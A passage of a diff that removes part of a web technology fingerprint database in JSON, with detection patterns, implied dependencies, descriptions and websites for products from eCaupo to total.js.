- }, - "eCaupo": { - "description": "eCaupo is no delivery portal, but your own shop.", - "website": "https://www.ecaupo.com" - }, - "eClass": { - "js": [ - "fe_eclass", - "fe_eclass_guest" - ], - "description": "eClass is an online learning platform.", - "website": "https://www.eclass.com.hk" - }, - "eDokan": { - "implies": [ - "Node.js", - "Angular", - "MongoDB" - ], - "description": "eDokan is hosted ecommerce platform with drag-drop template builder and zero programming knowledge.", - "website": "https://edokan.co" - }, - "eKomi": { - "js": [ - "ekomiwidgetmain" - ], - "description": "eKomi is a German supplier and product review service.", - "website": "https://www.ekomi.de" - }, - "eNamad": { - "meta": { - "enamad": [ - "^\\d+$" - ] - }, - "description": "eNamad is an electronic trust symbol.", - "website": "https://enamad.ir/" - }, - "ePages": { - "js": [ - "epages" - ], - "headers": { - "x-epages-requestid": "" - }, - "description": "ePages is a provider of cloud-based online shop solutions.", - "website": "http://www.epages.com/" - }, - "eSSENTIAL Accessibility": { - "description": "eSSENTIAL Accessibility is a digital accessibility-as-a-service platform.", - "website": "https://www.essentialaccessibility.com" - }, - "eShopCRM": { - "implies": [ - "Shopify" - ], - "description": "eShopCRM is an ecommerce CRM for Shopify.", - "website": "https://eshopcrm.com" - }, - "eSputnik": { - "js": [ - "essdk" - ], - "description": "eSputnik is a marketing automation service for ecommerce.", - "website": "https://esputnik.com" - }, - "eSyndiCat": { - "js": [ - "esyndicat" - ], - "headers": { - "x-drectory-script": "^esyndicat" - }, - "meta": { - "generator": [ - "^esyndicat " - ] - }, - "implies": [ - "PHP" - ], - "website": "http://esyndicat.com" - }, - "eWAY Payments": { - "html": [ - "\u003cimg [^\u003e]*src=\"[^/]*//[^/]*eway\\.com" - ], - "description": "eWAY is a global omnichannel payment provider. The company processes secure credit card payments for merchants. eWay works through eCommerce.", - "website": "https://www.eway.com.au/" - }, - "eZ Platform": { - "meta": { - "generator": [ - "ez platform" - ] - }, - "implies": [ - "Symfony" - ], - "website": "https://ezplatform.com/" - }, - "eZ Publish": { - "cookies": { - "ezsessid": "" - }, - "headers": { - "x-powered-by": "^ez publish" - }, - "meta": { - "generator": [ - "ez publish" - ] - }, - "implies": [ - "PHP" - ], - "website": "https://github.com/ezsystems/ezpublish-legacy" - }, - "ebisumart": { - "js": [ - "ebisu.fontchanger", - "ebisu.fontchanger.map.l", - "ebisu_conv" - ], - "description": "ebisumart is a cloud-based storefront system for developing and renewing high-quality ecommerce websites.", - "website": "https://www.ebisumart.com" - }, - "ef.js": { - "js": [ - "ef.version", - "efcore" - ], - "website": "http://ef.js.org" - }, - "emBlue": { - "js": [ - "emblueonsiteapp" - ], - "description": "emBlue is an email and marketing automation platform.", - "website": "https://www.embluemail.com/en" - }, - "enduro.js": { - "headers": { - "x-powered-by": "^enduro\\.js" - }, - "implies": [ - "Node.js" - ], - "website": "http://endurojs.com" - }, - "etika": { - "js": [ - "etikaproductjshelper", - "etikabannerinject", - "etikaglobal" - ], - "description": "etika is a fintech company based in Manchester which provide buy now pay later solution.", - "website": "https://etika.com" - }, - "eucookie.eu": { - "website": "https://www.eucookie.eu/" - }, - "experiencedCMS": { - "meta": { - "generator": [ - "^experiencedcms$" - ] - }, - "implies": [ - "PHP" - ], - "website": "https://experiencedcms.berkearas.de" - }, - "fullPage.js": { - "js": [ - "fullpage_api.version" - ], - "implies": [ - "jQuery" - ], - "description": "fullPage.js a jQuery and vanilla JavaScript plugin for fullscreen scrolling websites.", - "website": "https://github.com/alvarotrigo/fullpage.js" - }, - "git": { - "meta": { - "generator": [ - "\\bgit/([\\d.]+\\d)\\;version:\\1" - ] - }, - "website": "http://git-scm.com" - }, - "gitlist": { - "html": [ - "\u003cp\u003epowered by \u003ca[^\u003e]+\u003egitlist ([\\d.]+)\\;version:\\1" - ], - "implies": [ - "PHP", - "git" - ], - "website": "http://gitlist.org" - }, - "gitweb": { - "html": [ - "\u003c!-- git web interface version ([\\d.]+)?\\;version:\\1" - ], - "meta": { - "generator": [ - "gitweb(?:/([\\d.]+\\d))?\\;version:\\1" - ] - }, - "implies": [ - "Perl", - "git" - ], - "website": "http://git-scm.com" - }, - "govCMS": { - "meta": { - "generator": [ - "drupal ([\\d]+) \\(http:\\/\\/drupal\\.org\\) \\+ govcms\\;version:\\1" - ] - }, - "implies": [ - "Drupal" - ], - "website": "https://www.govcms.gov.au" - }, - "gunicorn": { - "headers": { - "server": "gunicorn(?:/([\\d.]+))?\\;version:\\1" - }, - "implies": [ - "Python" - ], - "website": "http://gunicorn.org" - }, - "h5ai": { - "implies": [ - "PHP" - ], - "description": "h5ai is a modern HTTP web server index for Apache httpd, lighttpd, and nginx.", - "website": "https://github.com/lrsjng/h5ai" - }, - "hCaptcha": { - "js": [ - "hcaptcha.getrespkey", - "hcaptchaonload", - "hcaptcha_sitekey" - ], - "headers": { - "content-security-policy": "(?:\\.|//)hcaptcha\\.com" - }, - "css": [ - "#cf-hcaptcha-container" - ], - "description": "hCaptcha is an anti-bot solution that protects user privacy and rewards websites.", - "website": "https://www.hcaptcha.com" - }, - "hantana": { - "js": [ - "hantana" - ], - "website": "https://hantana.org/" - }, - "hoolah": { - "js": [ - "hoolah" - ], - "description": "hoolah is Asia's omni-channel buy now pay later platform.", - "website": "https://www.hoolah.co" - }, - "i-MSCP": { - "meta": { - "application-name": [ - "^i-mscp$" - ] - }, - "description": "i-MSCP (internet Multi Server Control Panel) is a software for shared hosting environments management on Linux servers.", - "website": "https://github.com/i-MSCP/imscp" - }, - "i-mobile": { - "description": "i-mobile is a advertising platform for clients to advertise their product and for publishers to monetize their cyberspace.", - "website": "http://www2.i-mobile.co.jp" - }, - "i30con": { - "description": "i30con is an icon toolkit based on CSS and JavaScript.", - "website": "https://30nama.com/" - }, - "iAdvize": { - "description": "iAdvize is a conversational marketing platform that connects customers in need of advice with experts who are available 24/7 via messaging.", - "website": "https://www.iadvize.com" - }, - "iEXExchanger": { - "cookies": { - "iexexchanger_session": "" - }, - "meta": { - "generator": [ - "iexexchanger" - ] - }, - "implies": [ - "PHP", - "Apache HTTP Server", - "Angular" - ], - "website": "https://exchanger.iexbase.com" - }, - "iGoDigital": { - "description": "iGoDigital provides web-based commerce tools, personalisation, and product recommendations designed to increase customer interaction.", - "website": "http://www.igodigital.com" - }, - "iHomefinder IDX": { - "js": [ - "ihfjquery" - ], - "description": "iHomefinder provides IDX property search, built-in CRM, and marketing tools.", - "website": "https://www.ihomefinder.com" - }, - "iPresta": { - "meta": { - "designer": [ - "ipresta" - ] - }, - "implies": [ - "PHP", - "PrestaShop" - ], - "website": "http://ipresta.ir" - }, - "iSina Chat": { - "description": "iSina Chat is a live chat service that provides online support and FAQ for customers.", - "website": "https://isina.agency" - }, - "iThemes Security": { - "description": " iThemes Security(formerly known as Better WP Security) plugin enhances the security and protection of your WordPress website.", - "website": "https://ithemes.com/security" - }, - "iWeb": { - "meta": { - "generator": [ - "^iweb( [\\d.]+)?\\;version:\\1" - ] - }, - "description": "iWeb is a web site creation tool.", - "website": "http://apple.com/ilife/iweb" - }, - "idCloudHost": { - "description": "idCloudHost is a local web service provider based in Indonesia that offer a wide range of services including domain name registration and cloud hosting.", - "website": "https://idcloudhost.com" - }, - "ikiwiki": { - "html": [ - "\u003clink rel=\"alternate\" type=\"application/x-wiki\" title=\"edit this page\" href=\"[^\"]*/ikiwiki\\.cgi", - "\u003ca href=\"/(?:cgi-bin/)?ikiwiki\\.cgi\\?do=" - ], - "description": "ikiwiki is a free and open-source wiki application.", - "website": "http://ikiwiki.info" - }, - "imperia CMS": { - "meta": { - "generator": [ - "^imperia\\s([\\d\\.\\_]+)\\;version:\\1" - ], - "x-imperia-live-info": [] - }, - "implies": [ - "Perl" - ], - "description": "imperia CMS is a headless content management for large editorial.", - "website": "https://www.pirobase-imperia.com/de/solutions/imperia-cms" - }, - "inSales": { - "js": [ - "insales", - "insalesui", - "insalesgeocoderesults" - ], - "meta": { - "insales-redefined-api-method": [] - }, - "description": "inSales is a SaaS ecommerce platform with multichannel integration.", - "website": "https://www.insales.com" - }, - "inSided": { - "js": [ - "insided", - "insideddata" - ], - "description": "inSided is the only Customer Success Community Platform built to help SaaS companies improve customer success and retention.", - "website": "https://www.insided.com" - }, - "ip-api": { - "website": "https://ip-api.com/" - }, - "ip-label": { - "js": [ - "clobs" - ], - "website": "http://www.ip-label.com" - }, - "ipapi": { - "description": "ipapi is a real-time geolocation and reverse IP lookup REST API.", - "website": "https://ipapi.com" - }, - "ipapi.co": { - "description": "ipapi.co is a web analytics provider with IP address lookup and location API.", - "website": "https://ipapi.co" - }, - "ipdata": { - "description": "ipdata is a JSON IP Address Geolocation API that allows to lookup the location of both IPv4 and IPv6.", - "website": "https://ipdata.co/" - }, - "ipgeolocation": { - "description": "ipgeolocation is an IP Geolocation API and Accurate IP Lookup Database.", - "website": "https://ipgeolocation.co/" - }, - "ipify": { - "description": "ipify is a service which provide public IP address API, IP geolocation API, VPN and Proxy detection API products.", - "website": "https://ipify.org" - }, - "ipstack": { - "js": [ - "env.ipstackaccesstoken" - ], - "description": "ipstack is a real-time IP to geolocation API capable of looking at location data and assessing security threats originating from risky IP addresses.", - "website": "https://ipstack.com" - }, - "iubenda": { - "js": [ - "_iub", - "addiubendacs" - ], - "description": "iubenda is a compliance software used by businesses for their websites and apps.", - "website": "https://www.iubenda.com" - }, - "iyzico": { - "js": [ - "iyz.ideasoft", - "iyz.position" - ], - "description": "iyzico is a payment receipt system management platform that offers ePayment solutions.", - "website": "https://www.iyzico.com" - }, - "jComponent": { - "js": [ - "main.version" - ], - "implies": [ - "jQuery" - ], - "website": "https://componentator.com" - }, - "jPlayer": { - "js": [ - "jplayerplaylist" - ], - "implies": [ - "jQuery" - ], - "description": "jPlayer is a cross-browser JavaScript library developed as a jQuery plugin which facilitates the embedding of web based media, notably HTML5 audio and video in addition to Adobe Flash based media.", - "website": "https://jplayer.org" - }, - "jQTouch": { - "js": [ - "jqt" - ], - "description": "jQTouch is an open-source Zepto/ JQuery plugin with native animations, automatic navigation, and themes for mobile WebKit browsers like iPhone, G1 (Android), and Palm Pre.", - "website": "http://jqtouch.com" - }, - "jQuery": { - "js": [ - "$.fn.jquery", - "jquery.fn.jquery" - ], - "description": "jQuery is a JavaScript library which is a free, open-source software designed to simplify HTML DOM tree traversal and manipulation, as well as event handling, CSS animation, and Ajax.", - "website": "https://jquery.com" - }, - "jQuery CDN": { - "implies": [ - "jQuery" - ], - "description": "jQuery CDN is a way to include jQuery in your website without actually downloading and keeping it your website's folder.", - "website": "https://code.jquery.com/" - }, - "jQuery DevBridge Autocomplete": { - "js": [ - "$.devbridgeautocomplete", - "jquery.devbridgeautocomplete" - ], - "implies": [ - "jQuery" - ], - "description": "Ajax Autocomplete for jQuery allows you to easily create autocomplete/autosuggest boxes for text input fields.", - "website": "https://www.devbridge.com/sourcery/components/jquery-autocomplete/" - }, - "jQuery Migrate": { - "js": [ - "jquery.migrateversion", - "jquery.migratewarnings", - "jquerymigrate" - ], - "implies": [ - "jQuery" - ], - "description": "Query Migrate is a javascript library that allows you to preserve the compatibility of your jQuery code developed for versions of jQuery older than 1.9.", - "website": "https://github.com/jquery/jquery-migrate" - }, - "jQuery Mobile": { - "js": [ - "jquery.mobile.version" - ], - "implies": [ - "jQuery" - ], - "description": "jQuery Mobile is a HTML5-based user interface system designed to make responsive web sites and apps that are accessible on all smartphone, tablet and desktop devices.", - "website": "https://jquerymobile.com" - }, - "jQuery Modal": { - "implies": [ - "jQuery" - ], - "description": "JQuery Modal is an overlay dialog box or in other words, a popup window that is made to display on the top or 'overlayed' on the current page.", - "website": "https://jquerymodal.com" - }, - "jQuery Sparklines": { - "implies": [ - "jQuery" - ], - "description": "jQuery Sparklines is a plugin that generates sparklines (small inline charts) directly in the browser using data supplied either inline in the HTML, or via javascript.", - "website": "http://omnipotent.net/jquery.sparkline/" - }, - "jQuery UI": { - "js": [ - "jquery.ui.version" - ], - "implies": [ - "jQuery" - ], - "description": "jQuery UI is a collection of GUI widgets, animated visual effects, and themes implemented with jQuery, Cascading Style Sheets, and HTML.", - "website": "http://jqueryui.com" - }, - "jQuery-pjax": { - "js": [ - "jquery.pjax" - ], - "html": [ - "\u003cdiv[^\u003e]+data-pjax-container" - ], - "meta": { - "pjax-push": [], - "pjax-replace": [], - "pjax-timeout": [] - }, - "implies": [ - "jQuery" - ], - "description": "jQuery PJAX is a plugin that uses AJAX and pushState.", - "website": "https://github.com/defunkt/jquery-pjax" - }, - "jqPlot": { - "implies": [ - "jQuery" - ], - "website": "http://www.jqplot.com" - }, - "jsDelivr": { - "description": "JSDelivr is a free public CDN for open-source projects. It can serve web files directly from the npm registry and GitHub repositories without any configuration.", - "website": "https://www.jsdelivr.com/" - }, - "k-eCommerce": { - "meta": { - "generator": [ - "k-ecommerce" - ] - }, - "description": "k-eCommerce is mdf commerce’s platform for SMBs, providing all-in-one ecommerce and digital payment solutions integrated to Microsoft Dynamics and SAP Business One. ", - "website": "https://www.k-ecommerce.com" - }, - "keep. archeevo": { - "js": [ - "archeevosnippets.mostvieweddocumentsurl", - "embedarcheevobasicsearch" - ], - "description": "keep. archeevo is an archival management software that aims to support all the functional areas of an archival institution, covering activities ranging from archival description to employee performance assessment.", - "website": "https://www.keep.pt/en/produts/archeevo-archival-management-software" - }, - "langify": { - "js": [ - "langify", - "langify", - "langify.settings.switcher.version" - ], - "description": "langify translate your shop into multiple languages. langify comes with a visual configurator that allows you to add language switchers that integrate seamlessly into your existing design.", - "website": "https://langify-app.com" - }, - "libphonenumber": { - "js": [ - "libphonenumber.asyoutype", - "libphonenumber.digits" - ], - "description": "libphonenumber is a JavaScript library for parsing, formatting, and validating international phone numbers.", - "website": "https://github.com/google/libphonenumber" - }, - "libwww-perl-daemon": { - "headers": { - "server": "libwww-perl-daemon(?:/([\\d\\.]+))?\\;version:\\1" - }, - "implies": [ - "Perl" - ], - "website": "http://metacpan.org/pod/HTTP::Daemon" - }, - "lighttpd": { - "headers": { - "server": "(?:l|l)ight(?:y)?(?:tpd)?(?:/([\\d\\.]+))?\\;version:\\1" - }, - "description": "Lighttpd is an open-source web server optimised for speed-critical environment.", - "website": "http://www.lighttpd.net" - }, - "lit-element": { - "js": [ - "litelementversions.0" - ], - "description": "lit-element is a simple base class for creating web components that work in any web page with any framework. lit-element uses lit-html to render into shadow DOM, and adds API to manage properties and attributes.", - "website": "https://lit.dev" - }, - "lit-html": { - "js": [ - "lithtmlversions.0" - ], - "description": "lit-html is a simple, modern, safe, small and fast HTML templating library for JavaScript.", - "website": "https://lit.dev" - }, - "lite-youtube-embed": { - "implies": [ - "YouTube" - ], - "description": "The lite-youtube-embed technique renders the YouTube video inside the IFRAME tag only when the play button in clicked thus improving the core web vitals score of your website.", - "website": "https://github.com/paulirish/lite-youtube-embed" - }, - "mParticle": { - "js": [ - "mparticle.config.snippetversion", - "mparticle" - ], - "description": "mParticle is a mobile-focused event tracking and data ingestion tool.", - "website": "https://www.mparticle.com" - }, - "math.js": { - "js": [ - "mathjs" - ], - "website": "http://mathjs.org" - }, - "mdBook": { - "description": "mdBook is a utility to create modern online books from Markdown files.", - "website": "https://github.com/rust-lang/mdBook" - }, - "metisMenu": { - "js": [ - "metismenu", - "metismenu" - ], - "implies": [ - "jQuery" - ], - "description": "metisMenu is a collapsible jQuery menu plugin.", - "website": "https://github.com/onokumus/metismenu" - }, - "microCMS": { - "description": "microCMS is a Japan-based headless CMS that enables editors and developers to build delicate sites and apps.", - "website": "https://microcms.io" - }, - "mini_httpd": { - "headers": { - "server": "mini_httpd(?:/([\\d.]+))?\\;version:\\1" - }, - "website": "http://acme.com/software/mini_httpd" - }, - "mirrAR": { - "js": [ - "loadmirrar", - "initmirrarui" - ], - "description": "mirrAR is a real-time augmented reality platform for retail brands that enables consumers to virtually try on products and experience how it feels to own them before the actual purchase, both in-store and online.", - "website": "https://www.mirrar.com" - }, - "mobicred": { - "description": "Mobicred is a credit facility that allows you to safely shop online with our participating retailers.", - "website": "https://mobicred.co.za/" - }, - "mod_auth_pam": { - "headers": { - "server": "mod_auth_pam(?:/([\\d\\.]+))?\\;version:\\1" - }, - "implies": [ - "Apache HTTP Server" - ], - "description": "Mod_auth_pam is used to configure ways for authenticating users.", - "website": "http://pam.sourceforge.net/mod_auth_pam" - }, - "mod_dav": { - "headers": { - "server": "\\b(?:mod_)?dav\\b(?:/([\\d.]+))?\\;version:\\1" - }, - "implies": [ - "Apache HTTP Server" - ], - "description": "Mod_dav is an Apache module to provide WebDAV capabilities for your Apache web server. It is an open-source module, provided under an Apache-style license.", - "website": "http://webdav.org/mod_dav" - }, - "mod_fastcgi": { - "headers": { - "server": "mod_fastcgi(?:/([\\d.]+))?\\;version:\\1" - }, - "implies": [ - "Apache HTTP Server" - ], - "description": "Mod_fcgid is a high performance alternative to mod_cgi or mod_cgid, which starts a sufficient number instances of the CGI program to handle concurrent requests, and these programs remain running to handle further incoming requests.", - "website": "http://www.fastcgi.com/mod_fastcgi/docs/mod_fastcgi.html" - }, - "mod_jk": { - "headers": { - "server": "mod_jk(?:/([\\d\\.]+))?\\;version:\\1" - }, - "implies": [ - "Apache Tomcat", - "Apache HTTP Server" - ], - "description": "Mod_jk is an Apache module used to connect the Tomcat servlet container with web servers such as Apache, iPlanet, Sun ONE (formerly Netscape) and even IIS using the Apache JServ Protocol. A web server waits for client HTTP requests.", - "website": "http://tomcat.apache.org/tomcat-3.3-doc/mod_jk-howto.html" - }, - "mod_perl": { - "headers": { - "server": "mod_perl(?:/([\\d\\.]+))?\\;version:\\1" - }, - "implies": [ - "Perl", - "Apache HTTP Server" - ], - "description": "Mod_perl is an optional module for the Apache HTTP server. It embeds a Perl interpreter into the Apache server. In addition to allowing Apache modules to be written in the Perl programming language, it allows the Apache web server to be dynamically configured by Perl programs.", - "website": "http://perl.apache.org" - }, - "mod_python": { - "headers": { - "server": "mod_python(?:/([\\d.]+))?\\;version:\\1" - }, - "implies": [ - "Python", - "Apache HTTP Server" - ], - "description": "Mod_python is an Apache HTTP Server module that integrates the Python programming language with the server. It is intended to provide a Python language binding for the Apache HTTP Server. ", - "website": "http://www.modpython.org" - }, - "mod_rack": { - "headers": { - "server": "mod_rack(?:/([\\d.]+))?\\;version:\\1", - "x-powered-by": "mod_rack(?:/([\\d.]+))?\\;version:\\1" - }, - "implies": [ - "Ruby on Rails\\;confidence:50", - "Apache HTTP Server" - ], - "description": "Mod_rack is a free web server and application server with support for Ruby, Python and Node.js.", - "website": "http://phusionpassenger.com" - }, - "mod_rails": { - "headers": { - "server": "mod_rails(?:/([\\d.]+))?\\;version:\\1", - "x-powered-by": "mod_rails(?:/([\\d.]+))?\\;version:\\1" - }, - "implies": [ - "Ruby on Rails\\;confidence:50", - "Apache HTTP Server" - ], - "description": "Mod_rails is a free web server and application server with support for Ruby, Python and Node.js.", - "website": "http://phusionpassenger.com" - }, - "mod_ssl": { - "headers": { - "server": "mod_ssl(?:/([\\d.]+))?\\;version:\\1" - }, - "implies": [ - "Apache HTTP Server" - ], - "description": "mod_ssl is an optional module for the Apache HTTP Server. It provides strong cryptography for the Apache web server via the Secure Sockets Layer (SSL) and Transport Layer Security (TLS) cryptographic protocols by the help of the open-source SSL/TLS toolkit OpenSSL.", - "website": "http://modssl.org" - }, - "mod_wsgi": { - "headers": { - "server": "mod_wsgi(?:/([\\d.]+))?\\;version:\\1", - "x-powered-by": "mod_wsgi(?:/([\\d.]+))?\\;version:\\1" - }, - "implies": [ - "Python\\;confidence:50", - "Apache HTTP Server" - ], - "description": "mod_wsgi is an Apache HTTP Server module that provides a WSGI compliant interface for hosting Python based web applications under Apache.", - "website": "https://code.google.com/p/modwsgi" - }, - "nghttpx - HTTP/2 proxy": { - "headers": { - "server": "nghttpx nghttp2/?([\\d.]+)?\\;version:\\1" - }, - "website": "https://nghttp2.org" - }, - "nopCommerce": { - "cookies": { - "nop.customer": "" - }, - "html": [ - "(?:\u003c!--powered by nopcommerce|powered by: \u003ca[^\u003e]+nopcommerce)" - ], - "meta": { - "generator": [ - "^nopcommerce$" - ] - }, - "implies": [ - "Microsoft ASP.NET" - ], - "description": "nopCommerce is an open-source ecommerce solution based on Microsoft's ASP​.NET Core framework and MS SQL Server 2012 (or higher) backend database.", - "website": "http://www.nopcommerce.com" - }, - "nopStation": { - "implies": [ - "Microsoft ASP.NET" - ], - "description": "nopStation is a one stop ecommerce solution with custom integrations and custom built plugins based on custom tailored requirements on top of nopCommerce.", - "website": "http://www.nop-station.com" - }, - "novomind iSHOP": { - "js": [ - "_ishopevents_url", - "ishop.config.baseurl", - "_ishopevents" - ], - "description": "novomind iSHOP can be introduced rapidly, is highly scalable, has open APIs headless ecommerce and GDPR-compliant in the novomind Cloud.", - "website": "https://www.novomind.com/en/shopsystem/novomind-ishop-software" - }, - "ocStore": { - "html": [ - "\u003c!--[^\u003e]+ocstore(?:\\s([\\d\\.a-z]+))?\\;version:\\1" - ], - "implies": [ - "OpenCart" - ], - "description": "ocStore is an online store based on Opencart and open-source.", - "website": "https://ocstore.com" - }, - "onpublix": { - "meta": { - "generator": [ - "^onpublix\\s([\\d\\.]+)$\\;version:\\1" - ] - }, - "description": "onpublix is a web content management system (CMS) platform for eBusinesses.", - "website": "https://www.onpublix.de" - }, - "osCommerce": { - "cookies": { - "oscsid": "" - }, - "html": [ - "\u003cbr /\u003epowered by \u003ca href=\"https?://www\\.oscommerce\\.com", - "\u003c(?:input|a)[^\u003e]+name=\"oscsid\"", - "\u003c(?:tr|td|table)class=\"[^\"]*infoboxheading" - ], - "implies": [ - "PHP", - "MySQL" - ], - "description": "OsCommerce is an open-source ecommerce and online store-management software program​.", - "website": "https://www.oscommerce.com" - }, - "osTicket": { - "cookies": { - "ostsessid": "" - }, - "implies": [ - "PHP", - "MySQL" - ], - "website": "http://osticket.com" - }, - "otrs": { - "headers": { - "x-powered-by": "otrs ([\\d.]+)\\;version:\\1" - }, - "html": [ - "\u003c!--\\s+otrs: copyright" - ], - "implies": [ - "Perl" - ], - "website": "https://www.otrs.com" - }, - "ownCloud": { - "html": [ - "\u003ca href=\"https://owncloud\\.com\" target=\"_blank\"\u003eowncloud inc\\.\u003c/a\u003e\u003cbr/\u003eyour cloud, your data, your way!" - ], - "meta": { - "apple-itunes-app": [ - "app-id=543672169" - ] - }, - "implies": [ - "PHP" - ], - "website": "https://owncloud.org" - }, - "papaya CMS": { - "html": [ - "\u003clink[^\u003e]*/papaya-themes/" - ], - "implies": [ - "PHP" - ], - "website": "https://papaya-cms.com" - }, - "parcel": { - "js": [ - "parcelrequire" - ], - "implies": [ - "SWC" - ], - "website": "https://parceljs.org/" - }, - "particles.js": { - "js": [ - "particlesjs" - ], - "description": "Particles.js is a JavaScript library for creating particles.", - "website": "https://github.com/VincentGarreau/particles.js" - }, - "petite-vue": { - "description": "petite-vue is an alternative distribution of Vue optimised for progressive enhancement.", - "website": "https://github.com/vuejs/petite-vue" - }, - "phpAlbum": { - "html": [ - "\u003c!--phpalbum ([.\\d\\s]+)--\u003e\\;version:\\1" - ], - "implies": [ - "PHP" - ], - "description": "phpAlbum is an open-source PHP script which allows you to create your personal photo album.", - "website": "http://phpalbum.net" - }, - "phpBB": { - "cookies": { - "phpbb": "" - }, - "js": [ - "phpbb", - "style_cookie_settings" - ], - "html": [ - "powered by \u003ca[^\u003e]+phpbb", - "\u003cdiv class=phpbb_copyright\u003e", - "\u003c[^\u003e]+styles/(?:sub|pro)silver/theme", - "\u003cimg[^\u003e]+i_icon_mini", - "\u003ctable class=\"[^\"]*forumline" - ], - "meta": { - "copyright": [ - "phpbb group" - ] - }, - "implies": [ - "PHP" - ], - "description": "phpBB is a free open-source Internet forum package in the PHP scripting language.", - "website": "https://phpbb.com" - }, - "phpCMS": { - "js": [ - "phpcms" - ], - "implies": [ - "PHP" - ], - "website": "http://phpcms.de" - }, - "phpDocumentor": { - "html": [ - "\u003c!-- generated by phpdocumentor" - ], - "implies": [ - "PHP" - ], - "description": "phpDocumentor is an open-source documentation generator written in PHP.", - "website": "https://www.phpdoc.org" - }, - "phpMyAdmin": { - "js": [ - "pma_absolute_uri" - ], - "headers": { - "set-cookie": "phpmyadmin_https" - }, - "html": [ - "!\\[cdata\\[[^\u003c]*pma_version:\\\"([\\d.]+)\\;version:\\1", - "(?: \\| phpmyadmin ([\\d.]+)\u003c\\/title\u003e|pma_sendheaderlocation\\(|\u003clink [^\u003e]*href=\"[^\"]*phpmyadmin\\.css\\.php)\\;version:\\1" - ], - "implies": [ - "PHP", - "MySQL" - ], - "description": "PhpMyAdmin is a free and open-source administration tool for MySQL and MariaDB.", - "website": "https://www.phpmyadmin.net" - }, - "phpPgAdmin": { - "html": [ - "(?:\u003ctitle\u003ephppgadmin\u003c/title\u003e|\u003cspan class=\"appname\"\u003ephppgadmin)" - ], - "implies": [ - "PHP" - ], - "website": "http://phppgadmin.sourceforge.net" - }, - "phpRS": { - "meta": { - "generator": [ - "^phprs$" - ] - }, - "implies": [ - "PHP" - ], - "description": "phpRS is a content management software written in PHP.", - "website": "https://phprs.net" - }, - "phpSQLiteCMS": { - "meta": { - "generator": [ - "^phpsqlitecms(?: (.+))?$\\;version:\\1" - ] - }, - "implies": [ - "PHP", - "SQLite" - ], - "website": "http://phpsqlitecms.net" - }, - "phpwind": { - "html": [ - "(?:powered|code) by \u003ca href=\"[^\"]+phpwind\\.net" - ], - "meta": { - "generator": [ - "^phpwind(?: v([0-9-]+))?\\;version:\\1" - ] - }, - "implies": [ - "PHP" - ], - "website": "https://www.phpwind.net" - }, - "pinoox": { - "cookies": { - "pinoox_session": "" - }, - "js": [ - "pinoox" - ], - "implies": [ - "PHP" - ], - "website": "https://pinoox.com" - }, - "pirobase CMS": { - "html": [ - "\u003c(?:script|link)[^\u003e]/site/[a-z0-9/._-]+/resourcecached/[a-z0-9/._-]+", - "\u003cinput[^\u003e]+cbi:///cms/" - ], - "implies": [ - "Java" - ], - "website": "https://www.pirobase-imperia.com/de/produkte/produktuebersicht/pirobase-cms" - }, - "plentyShop LTS": { - "headers": { - "x-plenty-shop": "ceres" - }, - "description": "The official template plugin developed by plentymarkets. plentyShop LTS is the default template for plentymarkets online stores.", - "website": "https://www.plentymarkets.com/product/modules/online-shop/" - }, - "plentymarkets": { - "headers": { - "x-plenty-shop": "" - }, - "meta": { - "generator": [ - "plentymarkets" - ] - }, - "description": "plentymarkets is a cloud-based all-in-one ecommerce ERP solution.", - "website": "https://www.plentymarkets.com/" - }, - "prettyPhoto": { - "js": [ - "pp_alreadyinitialized", - "pp_descriptions", - "pp_images", - "pp_titles" - ], - "html": [ - "(?:\u003clink [^\u003e]*href=\"[^\"]*prettyphoto(?:\\.min)?\\.css|\u003ca [^\u003e]*rel=\"prettyphoto)" - ], - "implies": [ - "jQuery" - ], - "website": "http://no-margin-for-errors.com/projects/prettyphoto-jquery-lightbox-clone/" - }, - "punBB": { - "js": [ - "punbb" - ], - "html": [ - "powered by \u003ca href=\"[^\u003e]+punbb" - ], - "implies": [ - "PHP" - ], - "website": "http://punbb.informer.com" - }, - "qiankun": { - "description": "qiankun is a JS library who helps developers to build a micro frontends system.", - "website": "https://qiankun.umijs.org" - }, - "reCAPTCHA": { - "js": [ - "recaptcha", - "recaptcha" - ], - "description": "reCAPTCHA is a free service from Google that helps protect websites from spam and abuse.", - "website": "https://www.google.com/recaptcha/" - }, - "sIFR": { - "description": "sIFR is a JavaScript and Adobe Flash dynamic web fonts implementation.", - "website": "https://www.mikeindustries.com/blog/sifr" - }, - "sNews": { - "meta": { - "generator": [ - "snews" - ] - }, - "website": "https://snewscms.com" - }, - "script.aculo.us": { - "js": [ - "scriptaculous.version" - ], - "website": "https://script.aculo.us" - }, - "scrollreveal": { - "html": [ - "\u003c[^\u003e]+data-sr(?:-id)" - ], - "website": "https://scrollrevealjs.org" - }, - "shine.js": { - "js": [ - "shine" - ], - "website": "https://bigspaceship.github.io/shine.js/" - }, - "siimple": { - "description": "siimple is a minimal CSS toolkit for building flat, clean and responsive web designs.", - "website": "https://siimple.xyz" - }, - "snigel AdConsent": { - "js": [ - "snhb.basesettings", - "snhb.info.cmpversion", - "adconsent.version" - ], - "description": "snigel AdConsent is a IAB-registered consent management platfrom (CMP) which help keep sites speed intact while remaining compliant with GDPR and CCPA.", - "website": "https://www.snigel.com/adconsent/" - }, - "snigel AdEngine": { - "description": "snigel AdEngine is a header bidding solution product from snigel.", - "website": "https://www.snigel.com/adengine/" - }, - "stores.jp": { - "js": [ - "stores_jp" - ], - "implies": [ - "Visa", - "Mastercard" - ], - "description": "stores.jp is an ecommerce platform which allows users to create their own ecommerce website.", - "website": "https://stores.jp/ec/" - }, - "styled-components": { - "js": [ - "styled" - ], - "implies": [ - "React" - ], - "description": "Styled components is a CSS-in-JS styling framework that uses tagged template literals in JavaScript.", - "website": "https://styled-components.com" - }, - "theTradeDesk": { - "js": [ - "ttduniversalpixelapi", - "ttd_dom_ready" - ], - "description": "theTradeDesk is an technology company that markets a software platform used by digital ad buyers to purchase data-driven digital advertising campaigns across various ad formats and devices.", - "website": "https://www.thetradedesk.com" - }, - "thttpd": { - "headers": { - "server": "\\bthttpd(?:/([\\d.]+))?\\;version:\\1" - }, - "website": "https://acme.com/software/thttpd" - }, - "toastr": { - "js": [ - "toastr.version" - ], - "description": "toastr is a Javascript library for non-blocking notifications. The goal is to create a simple core library that can be customized and extended.", - "website": "https://github.com/CodeSeven/toastr" - }, - "total.js": { - "headers": { - "x-powered-by": "^total\\.js" - }, - "implies": [ - "Node.js" - ], - "website": 